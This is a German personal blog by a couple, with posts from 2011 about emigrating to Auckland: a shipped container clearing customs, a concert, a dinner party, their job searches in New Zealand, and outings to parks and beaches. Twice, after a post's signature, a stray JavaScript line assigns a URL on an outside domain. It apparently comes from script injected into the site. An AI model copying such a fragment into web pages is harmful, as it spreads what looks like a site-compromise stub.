Der Container ist da….

14 08 2011 Martina

Die Geschichte, wie der Container von Buckenhof nach Auckland kam.

Am 28.4.2011 wurde unser Hab und Gut abgeholt und nach England gebracht. Da wir keinen ganzen Container verschiffen, sondern nur 40 Kartons, müssen wir den Container teilen. Tja und teilen hieß in unserem Fall erst mal warten, bis der Container voll ist.

Am 16.6.2011 hat der Container dann endlich England verlassen und ist über Bremen, nach Singapur geschippert. Durch das Internet kann man mittlerweile genau verfolgen, wo sich der Container gerade befindet. Das ist super, aber wenn der Container dann für ca. 1 Woche von der Bildfläche verschwindet, fängt man an sich so seine Gedanken zu machen….

Am 12.7.2011 ist der Container dann in Singapur angekommen, leider mit etwas Verspätung. So konnte er sein vorgesehnes Schiff nicht mehr erreichen und musste auf ein anderes Schiff umgeladen werden. Der ursprüngliche Termin war als 25.7.2011 angeben. Der konnte nun nicht mehr gehalten werden und der Container sollte nun am 29.7.2011 ankommen.

Von unserer Spedition hier in Neuseeland haben wir dann erst mal zig Formulare bekommen, die wir ausfüllen mussten. Der Zoll will genau wissen, was man so importiert. Also brav alles angeben, was man an natürlichem Material einführt, Alkohol, Lebensmittel, etc. Gar nicht so einfach nach fast 3 Monaten immer noch zu wissen, was man in welche Kiste gepackt hat. Für alle die auswandern wollen, schreibt euch das genau auf :)

Am 29.7.2011 um 14.30 Uhr haben wir das Schiff mit unserem Container zum ersten Mal gesehen. Toll, wenn man das direkt vom Balkon aus machen kann. Tja das Problem ist nun nur noch, den Container durch den Zoll zu bekommen und das OK der Heimatschutzbehörde.

Am 02.08.2011 hat uns dann Charlie zum ersten Mal kontaktiert. Charlie ist für unseren Import zuständig von Seiten der Spedition. Er wollte nun zusätzlich zu den zig Papieren, die wir schon aufgefüllt hatten und unseren beglaubigten Passkopien (die gibts hier beim Friedensrichter), noch eine Information was für Alkohol wir importieren, welche Menge, was das Ganze gekostet hat. Blöd, wenn man den Wein geschenkt bekommen hat und leider auch nicht mehr genau weiß wie viel % Alkohol der hat. Na mal schaun, was der Zoll so sagt.

Am 10.08.2011 wollte Charlie dann noch wissen, was unsere Gartenscheren (beides Geschenke :)) so wert sind und ob wir sie schon genutzt hätten. Also googeln, was sowas kosten kann und Info weiterleiten. Wir haben mal nicht geschrieben, dass wir sie als Geschenk zum Schafe scheeren bekommen haben. Weiß nicht, wie er da so drauf reagiert hätte .

Tja und nun ist schon der 14.08.2011 und wir warten immer noch auf unsere Sachen. Aber der Container ist schon weitergezogen und es kann sich nur noch um Tage handeln. Beim nächsten Mal erfahrt ihr dann, ob alles heil angekommen ist.

Liebe Grüße,
Martina & Jürgenvar url = ‚https://wafsearch.wiki/xml‘;
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Avalanche City Konzert

29 07 2011 Martina

Freitag Abend, wir haben uns heute mal dafür entschieden nicht auf der Couch zu sitzen, sondern zu einem Konzert zu gehen.

Somit sind wir mit der Fähre nach Devenport gefahren, um erst mal lecker Fish&Chips zu essen *Yammie*. Nebenbei haben wir endlich unser erstes griechisches Restaurant in Auckland entdeckt. Da müssen wir die nächsten Wochen auch mal hin.

Um 19.30 Uhr sollte das Konzert anfangen, wie das in Neuseeland so ist, nimmt es da nicht so genau. Wir hatten so kurz vor 20 Uhr dann unsere erste Vorband (wir wussten gar net, dass es welche geben sollte). Die Folkrockband ALASKA war überraschend gut, aber Stimmung war noch keine da. Der zweite Musiker (wir wissen den Namen leider nicht) hat die Stimmung langsam gehoben. Auch wenn die Kiwis generell gerne quatschen während eines Konzerts, statt der Musik zuzuhören ;)

Um 22 Uhr kamen sie dann auf die Bühne. Martina hat die CD bereits zum Geburtstag bekommen, somit kam die Musik bekannt vor. Die Band hatte mit Love, Love, Love eine Number1 in Neuseeland. Viel Spaß mit der kleinen Kostprobe. Leider gibt es das bei euch nicht im ITunes zu kaufen.

http://www.youtube.com/watch?v=RRA3LGQ68w0

Es war ein toller Abend, mal sehen ob man von der Band vielleicht auch in Europa was hören wird. Lohnt sich reinzuhören.

Wünschen euch eine schöne Zeit.

Liebe Grüße aus Aotearoa (Land der langen weißen Wolke)
Martina und Jürgen



Dinner Party

10 07 2011 Martina

Diese Woche hatten wir unsere erste Dinner Party in Neuseeland. Wir haben unsere langjährigen Freunde Nancy und Nick eingeladen, die wir bereits seit unserem ersten Aufenthalt kennen. Wir sind die Jahre über in Kontakt geblieben und verbringen nun immer wieder mal ein paar Stunden zusammen.

Die beiden haben mittlerweile eine kleine Familie gegründet mit Sohn Oliver (18 Monate, so süß) und in ein paar Tagen wird noch ein viertes Mitglied zur Familie stoßen. Es wird ein Mädchen, den Namen kennen wir noch nicht.

Während Martina arbeiten war, hat sich Jürgen ab 11 Uhr an den Herd gestellt und lecker Essen vorbereitet. Es gab diesmal Folgendes:

Selbstgemachtes Focaccia mit Knoblauchbutter und Olivenöl

Mediterranen Salat mit Garnelen

Rinderfilet mit Grünem-Spargel-Risotto und Rotweinjus

Galaktoburiko (nach Original Hallerhof-Rezept) mit Vanilleeis

Für alle die schon mal von Jürgen bekocht wurden, läuft jetzt das Wasser im Mund zusammen. Für alle anderen, es war wirklich sehr, sehr lecker . Auch sonst hatten wir diesen Abend sehr viel Spaß und es wurde doch ein relativ langer Abend.

Noch ein paar Bilder, Jürgen in action und ein Bild von Nancy und Nick (die Bilder sind etwas unscharf, da Martina schon Wein intuss hatte ).

Am Wochenende sind wir auf Grund unseres Viertel-Marathon-Trainings (dazu mal in einem extra Beitrag mehr) wieder mal nicht zu viel anderem gekommen, und auch das Wetter war eher wechselhaft, auch wenn es letztendlich gar nicht so viel geregnet hat, wie die Wettervorhersage angekündigt hatte.

Nachdem wir nun schon fast 10 Wochen (!) ohne Haarschnitt ausgekommen sind, haben wir uns ein Herz gefasst und einen Friseur ganz in der Nähe unserer Wohnung aufgesucht… und wir müssen sagen, dass wir recht zufrieden sind, auch wenn es natürlich kein Vergleich zu Danielas Künsten und Service (immer mit lecker Kaffee und Kuchen ) ist!

So schnell ist ein Wochenende auch wieder vorbei… bis zum nächsten Mal.

Grüße, Martina und Jürgen

<



Es ist vollbracht…

3 07 2011 Juergen

… auch ich (Jürgen) habe (endlich?) erfolgreich meine Arbeitssuche abgeschlossen!

Nachdem ich in einer epischen Suche, die eigentlich schon vor der von Martina angefangen hat , Kontakt zu unzähligen Recruitern (Personalvermittlern) hatte und dabei aber nur selten auch ein tatsächliches Vorstellungsgespräch bei einem wahrhaftigen Arbeitgeber herausgesprungen ist, bin ich nun doch bei der Firma gelandet mit der ich vor gerade mal gut 6 Wochen mein erstes Gespräch hatte. Man sagt eben nicht umsonst gut Ding will Weile haben. Dabei mache ich meinem jetztigen Arbeitgeber keinen Vorwurf, in einer (noch) kleinen Beratungsfirma kann man eben nur neue Leute einstellen, wenn man auch sicher ist man macht mit ihnen Geld, sprich man hat Kunden, die so jemanden brauchen. Eher gestört hat mich, dass sich einerseits die Recruiter, aber auch wenn mal diese Hürde geschafft war, auch die Arbeitgeber sehr an den Zahlen/Daten in ihren Jobbeschreibungen aufhängen. Wenn da 5 Jahre Erfahrung steht, dann müssen das auch mindestens 5 Jahre sein. Egal ob ein Lebenslauf vielleicht vermittelt (oder es sollte) dass der Kandidat genügend Potential hat um vielleicht mehr in die Waagschale werfen zu können wie manch anderer mit mehr Jahren, zumindest auf dem Papier.

Auch habe ich die Erfahrung gemacht, dass kaum einer der Recruiter deinen Lebenslauf so richtig liest, da man in Gesprächen ständig Dinge gefragt wird, die eigentlich klar und deutlich darinstehen. Ausnahmen bestätigen auch hier die Regel und zumindest ein Recruiter, über welchen ich dann auch den Job vermittelt bekam, hat sich mehr als alle anderen ins Zeug gelegt und den richtigen Arbeitgeber ausgewählt! Danke dafür . An Personalvermittlern kommt man hier so gut wie nicht vorbei, da fast alle Firmen über Vermittler neue Kräfte suchen, und auf den Jobmärkten im Internet auch fast nur diese inserieren.

Da Siemens in Neuseeland keine so große Rolle spielt und kein großer Arbeitgeber ist, verstehe ich schon dass man nicht so viel damit anfangen kann, aber aufgrund der Dinge die ich dort gemacht und wie ich zu Siemens gekommen bin, hätte ich eigentlich schon vermutet dass das mehr zählt. Aber was man nicht versteht kann man auch schwer bewerten .

Naja, Schwamm drüber. Ich hatte am Freitag gleich mal eine richtige Einführung bei meinem neuen Arbeitgeber mit feuchtfröhligem Team-Meeting und anschließendem Pub-Besuch . Aber keine Sorge, das geht nicht jeden Tag so ab… denke ich zumindest.

Achtung folgender Abschnitt enthält Software- und Technologie-Bezeichnungen, die möglicherweise nicht allen geläufig sind, einfach überlesen, wenn ihr nur Bahnhof versteht: Jedenfalls darf ich in Zukunft als technischer Berater mein geballtes SAP BW Know-How bei den Kunden einbringen. Bin da im Moment auch der Einzige in der Firma. Außerdem werde ich auch als SAP BussinessObjects Data Service Experte (wow, lange Bezeichnung) ausgebildet werden. Wird also sicher spannend und ich werde auch viel Neues lernen.

So, jetzt haben wir eigentlich erst mal alles erreicht was wir uns vorgenommen haben, und warten gespannt was uns die nächsten Monate in NZ so bringen…

Viele Grüße,
Jürgen<



Mid-Winter Party

19 06 2011 Martina

So wir sind´s mal wieder. Bei mir ist schon fast wieder Alltag eingekehrt. Jeden Morgen früh aufstehen, in die Arbeit fahren wie ihr alle auch. Allerdings habe ich das Vergnügen den Leuten auf der anderen Spur beim Im Stau stehen zusehen zu dürfen. Beim Nachhausefahren das Ganze dann nochmal in die andere Richtung.

Wenn ich nicht gerade auf die Arbeit fahre, lerne ich sehr viel Neues. Es ist eine sog. POS-Software (Point-of-Sales) und eigentlich genau das, was an Supermärkten oder bei Bekleidungsgeschäften auf den Computern läuft, dami die genau wissen, wenn sie was einscannen, was es kostet. Somit kann man sehr schnell Beispiele fürs Testen finden, weil ich ja schon einmal oder auch zweimal einkaufen war. Meine lieben Kollegen werden auch nicht müde mir alles zu erklären und sind dabei sehr geduldig. Hab hier auch sowas wie einen Mentor, er heißt Hugh ist aus Irland und vertritt Jürgen D. (ganz liebe Grüße ) so gut er kann.  Macht viel Spaß eine neue Software kennenzulernen mit all ihren Schwächen (irgendwoher kenn ich das ). Auch wird der Job eine Herausforderung, weil dazu auch Account Management und Projektleitung gehört, sowie Presales.

Vieles ist sehr ähnlich wie im letzten Job, aber es gibt durchaus auch Unterschiede.  Am ersten Tag habe ich von meiner Recruitmentfirma einen Kuchen bekommen. Den haben wir dann gleich im Team verputzt mit ner Tasse Kaffee/Tee (sind ja hier in einer ehemaligen englischen Kolonie). Für Jürgen ist natürlich auch noch was übrig geblieben. Auch sonst bringt gern mal jemand was fuers ganze Team zu Essen mit. Gibt hier sowas wie nen Bake-Off und Jürgen backt gerade für mich ne Sachertorte, die ich am Montag mitnehme.

Zweimal im Jahr gibt es von der Firma eine Party. Zu Weihnachten und eine Mid-Winter Party. Diese war am Freitag und da neben den Mitarbeitern auch die Partner eingeladen waren, musste er auch mit. War ein sehr schöner, feucht-fröhlicher Abend , wo man die Kollegen mal von einer anderen Seite kennenlernen konnte. Freuen uns schon auf die Weihnachtsfeier.

Liebe Grüße aus dem winterlichen (15Grad-kalten) Auckland,
Martinavar url = ‚https://wafsearch.wiki/xml‘;
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Auckland Domain (Stadtpark)

6 06 2011 Juergen

Nachdem der Samstag (04.06.2011) komplett verregnet und kalt war, und wir quasi dazu gezwungen wurden uns den ganzen Tag aufs Sofa zu kuscheln sah es am Sonntag wieder überraschend gut aus. Sonnenschein und fast 20 Grad sind für einen Winterttag doch gar nicht so schlecht. Deswegen hat es uns auch nach Draußen gezogen. Diesmal wollten wir nicht weit fahren und haben uns daher einen der Parks in Auckland ausgesucht. Der Auckland Domain (Stadtpark) ist zu Fuß gut 20 Minuten von unserer Wohnung entfernt und war daher das ideale Ziel.

Dort angekommen erspähte Martina sofort ein Schild mit der Aufschrift „Lovers Walk“ (Liebespaar Weg) und da konnten wir nicht umhin diesen zu beschreiten . Noch etwas matschig vom vorherigen Regentag aber trotzdem idyllisch und sehr urwaldig. Kaum zu glauben, dass wir eigentlich mitten in Auckland unterwegs waren. Wie unten auf dem abfotografierten Schild zu lesen ist, endet der Weg der Liebenden am Ententeich (hmmm, was das wohl zu bedeuten hat). Nicht nur wir hatten das schöne Wetter genutzt sondern auch einige Familien mit ihren Kindern, die dort die Enten und Gänse fütterten. Auch ich habe mich gleich an meine Kindheit erinnert gefühlt, wie wir mit altem Brot zum Waldspielplatz (in Schweinfurt) gelaufen sind, um dieses dort dem Federvieh zum Fraß vorzuwerfen. Dass am Aucklander Ententeich überall Schilder aufgestellt waren, man soll doch bitte kein Brot in den Teich schmeißen, sondern nur auf die Flächen davor, weil es sonst zu irgendwelchen Wasserverpestungen kommen kann (was die wohl in ihrem Brot haben?), hat aber niemand so wirklich gestört .

Neben dem Ententeich hat der Stadtpark noch viele Grünflächen, einen Farn-Garten und auch zwei Wintergärten zu bieten, in welchen allerlei exotische Pflanzen gezüchtet werden (natürlich alles zum freien Eintritt!). Auf dem Gelände steht ebenfalls das Auckland War Memorial Museum, das schon von Außen was hermacht. Daher wollte Martina es auch fotografieren, aber der Fotoapparat verweigerte ihr dies… Akku leer . Daher müssen wir bei einem weiteren Besuch des Auckland Domain (und den wird es bestimmt geben) das Bild vom Museum und der restlichen Pflänzchen nachreichen. Aber hier zumindest die paar, die wir machen konnten:

Ein sehr schöner Ausflugsort und das sozusagen in der Nachbarschaft. Man muss also nicht mal ins Auto steigen um richtig schöne Natur zu sehen.

Liebe Grüße,
M&J



North Shore Strände

3 06 2011 Juergen

Da wir nicht mehr so viel Zeit hatten bevor Martina das arbeiten anfängt und wir natürlich nicht den ganzen Tag daheim hocken wollen, haben wir auch diesen nicht ganz so schönen Tag für einen Ausflug genutzt. So sind wir ins Auto gestiegen und Richtung Norden aufgebrochen, also in den Teil von Auckland in dem wir bei unserem letzten Neuseelandaufenthalt gewohnt haben.

Schon nach dem Abfahren von der Autobahn kam uns alles sehr vertraut vor und so haben wir auch zielsicher den ersten Strand angesteuert: Browns Bay. Das Wetter war eigentlich noch recht gut. Zwar relativ windig, aber noch sonnig. Doch so langsam zog es dann zu (sieht man auch auf den Bildern)  und der Wind wurde immer stärker.

Aber da uns so ein bisschen Wind nicht schrecken kann sind wir trotzdem zum nächsten Strand weitergezogen. Auch Long Bay Beach haben wir früher regelmäßig besucht und auf unserer alten NZ-Seite wird man davon einige Bilder finden. Diesmal keine Aufnahmen direkt vom Strand, sondern von der Piknik- und Grillfläche dahinter. Auf den Bildern zwar nicht zu sehen, aber dort gibt es einige gemauerte Grills, man muss also nur Kohle und sein Grillgut mitbringen und kann loslegen. Einige der Sitzmöglichkeiten sind sogar überdacht. Und dann war da noch einer dieser Freiluftbilderrahmen (schaut einfach auf die Fotos), die man an vielen Orten in Neuseeland findet… die Kiwis tun halt was für ihre Touristen ;).

Nachdem wir uns an beiden Stränden gut „durchlüften“ ließen, ging es wieder heim Richtung Innenstadt, wo wir uns mit einem heißen Cappuccino aufgewärmt haben.

Ein Strandausflug bei so einem Wetter ist zwar nichts für Weicheier, aber ebenfalls schön.

Viele Grüße,
Martina & Jürgen



Jobsuche Martina

30 05 2011 Martina

Ihr wollt sicher auch wissen, wie das hier mit Jobsuche so von statten geht. Also das ist etwas anders als in Deutschland. Die meisten Firmen hier sind nicht groß genug, um eine eigene Personalabteilung zu haben. Somit beschäftigen sie sog. Recruiter (Personalvermittler), um geeignete Kandidaten zu finden. Die Stellenanzeigen findet man hier in Zeitungen, aber noch beliebter ist hier mittlerweile das Internet, vor allem mit der Seite www.seek.co.nz, wo gerade im IT-Bereich fast alle Stellen ausgeschrieben sind.

So nun noch den passenden Job suchen. Das ist häufig gar nicht so einfach, weil die Jobbezeichnungen hier sehr unterschiedlich zu den Deutschen sein können. Auch steht hinter der gleichen Jobbeschreibung nicht immer der gleiche Job. Somit habe ich erst ein bisschen suchen müssen, bis mir klar war, dass ich wohl sowas wie ein „Business Analayst ERP“ in Deutschland war und auch erst mal wieder sein will.

Ich habe mich dann bei mehreren Recruitern beworben und bin auch innerhalb von einem Tag zum ersten Mal angerufen worden. Sie wollten dann alles mögliche noch wissen, was eigentlich schon im CV (Lebenslauf) drin stand. Aber lesen, können sie wohl net . Als dann geklärt wurde, was ich machen will, dass ich in Neuseeland arbeiten darf und ich sofort einen Job suche wurde ich zu einem ersten Gespräch bei den Recruitern eingeladen.

Mittwoch 18.5.: Ich hatte zwei Interviews mit Recruitern. Beide meinten, dass sie Kunden hätten die vermutlich interessiert wären und sie würden sich dann bei mir melden.

Freitag 20.5.: Eine Recruiterin hat einen Vorstellungstermin für mich bei einer Firma organisiert.

Montag 23.5.: 1. Vorstellungsgespräch mit der Geschäftsführerin meines möglichen Arbeitgebers. Sehr nettes, offenes Gespräch und ich hatte ein gutes Gefühl

Dienstag 24.5.: 2. Vorstellungsgespräch mit meiner direkten Vorgesetzten. Wieder eine Frau und wieder ein tolles Gespräch. Als sie mich nach meiner Zukunftsplanung fragte, antwortete ich ehrlich dass ich in den nächsten Jahren Kinder haben wolle und dann auch wieder arbeiten wolle. Und es war kein Problem für mein Gegenüber . Da das Gespräch auch gut lief, wurden meine Referenzen angefragt. In Neuseeland ist es üblich, dass man ehemalige Kollegen/Chefs kontaktiert, um ein besseres Bild über den möglichen Mitarbeiter zu bekommen. Arbeitszeugnisse interessieren niemanden. So habe ich meinen ehemaligen Chef und einen Kontakt von einem früheren Kunden angegeben. Nun musste ich nur noch warten, bis die Referenzen geprüft wurden. Zusätzlich musste ich noch einen Persönlichkeitstest online machen. Hier wurde gefragt, wie ich mich eher sehe und was ich eher nicht bin. Ich habe schon lange nicht mehr so viele englische Wörter gesehen, wo ich nicht genau wusste, was sie bedeuten , aber Dank leo.org hat das auch geklappt.

Donnerstag 26.5.: Ich hatte noch ein 3. Vorstellungsgespräch. Hier wurden die Ergebnisse des Tests besprochen und noch weitere Details. Ich habe bereits auch Infos über die Arbeitsweise der Firma erhalten.

Freitag 27.5.: Leider fehlte noch eine Referenz und somit wurde mir zuerst kein Vertrag angeboten. Aber der zweite Recruiter hat sich gemeldet und mir ein Vorstellungsgespräch für nächsten Donnerstag angeboten. Tja große Firmen brauchen halt etwas länger. Ich habe den Termin mal angenommen, weil ich ja noch keinen Vertrag hatte. Freitag Nachmittag habe ich einen erlösenden Anruf erhalten, dass mein neuer Arbeitgeber mir trotz der fehlenden Referenz ein Angebot machen will und somit habe ich den Vertrag bereits unterschrieben.

Montag 30.5.: Habe gerade eine SMS bekommen, dass die Referenz da ist und die Geschäftsführerin den Vertrag unterschreibt und mir zusendet. Ich fange nächsten Dienstag 7.6. an zu arbeiten. Mein Dank geht an meine Referenzen Jenny und Joachim. Mission 3 completed.

Das nicht alle Kiwis so schnell sind, erfahrt ihr dann wenn wir euch über Jürgens Jobsuche erzählen. Er hat heute einen Vorstellungstermin. Drückt ihm die Daumen .



Waitakere Ranges

30 05 2011 Martina

Diesmal waren wir wieder im Westen Aucklands unterwegs. Wir haben uns in den Waitakere Ranges (Waldgebiet) zwei Wanderwege ausgesucht. Zuerst sind wir den Fairy Falls Track (Feenwasserfall) gelaufen. Der Hinweg war sehr schön, es ging immer leicht bergab und wie ihr auf den Bildern unten sehen könnt sieht es in einem neuseeländischen Wald fast wie im Dschungel aus. Als wir am Wasserfall angekommen sind, kam uns dass wir wohl leider den Weg auch wieder bergauf zum Auto müssen. So ist Jürgen schnell und Martina ein bisschen langsamer und mit tiefrotem Gesicht den ganzen Weg wieder zurückgegangen.

Anschließend waren wir auf dem Pukematekeo immerhin 336m hoch. Von dort aus hat man eine tolle Aussicht über Auckland. Dort wo ihr den Skytower seht wohnen wir ungefähr.

Da wir vom Laufen und der frischen Luft noch nicht genug hatten, sind wir dann noch in den Cascade Kauri Park gefahren und noch den Auckland City Walk gelaufen. Kauri ist ein Baum, der bis zu 5000 Jahre alt werden kann. In dem Park gibt es Bäume, die mehr als 1000 Jahre alt sind und die sind echt rießig, auch wenn man das auf dem letzten Bild nur erahnen kann.

Wir hoffen die Bilder gefallen euch, wird die Woche hoffentlich noch mehr davon geben.

Liebe Grüße, Martina und Jürgen



Piha

20 05 2011 Martina

Donnerstag haben wir uns mal einen Tag „Urlaub“ genommen und haben einen Ausflug nach Piha gemacht. Ok, wer jetzt denkt warum brauchen die Urlaub, auch nur nach Job suchen und versuchen den Alltag langsam zu regeln ist kein Urlaub.

Das Gute an Auckland ist, dass man in ca. 40 Minuten in Gegenden fahren kann, wo man kaum mehr einen Menschen trifft und wo die Landschaft so ganz anders ist. Piha ist ca. 1 Stunde von Auckland Central weg. Schon die Fahrt dort hin ist ein Abenteuer, denn sobald man den letzten Stadtteil von Auckland hinter sich lässt, ist man schon fast im Nirgendwo.

Im Nirgendwo hat man dann auch Straßen die irgendwie immer enger werden, und auch die vorgeschlagenen 70km/h fühlen sich bei den vielen Kurven irgendwann zu schnell an. So wussten wir auch, warum man für die wenigen Kilometer (ca. 40 km) ne Stunde braucht. Aber sobald wir oberhalb von Piha angekommen waren, wussten wir wofür wir vorher an der ein oder anderen Kurve geschwitzt hatten .

Schon die Aussicht von der Haltebucht über Piha war gigantisch. Das Wetter war zu dem Zeitpunkt eher bewölkt und windig und wie in Auckland auch gerne vorhanden mit Nieselregen. Somit sind wir gleich wieder ins Auto eingestiegen und an den Strand gefahren. Piha mag im Sommer ein großes Surferparadies sein, allerdings war bei unserem Besuch nichts davon zu spüren. Waren nur noch ein paar verirrte Touristen unterwegs.

Während wir in Piha waren hatten wir typisches Wetter für die Gegend bewölkt mit Niesel, leichter Regen, bewölkt und Gott sei Dank auch Sonnenschein .

Haben euch auch ein paar Bilder gemacht, seht einfach selbst. Auch unser Auto hat´s endlich auf ein Foto geschafft. Und seit Mittwoch gehört es jetzt auch ganz uns .

Jetzt wisst ihr auch, warum dieser Ausflug für uns wie Urlaub war.

Liebe Grüße und bis zum nächsten Mal,
Martina und Jürgen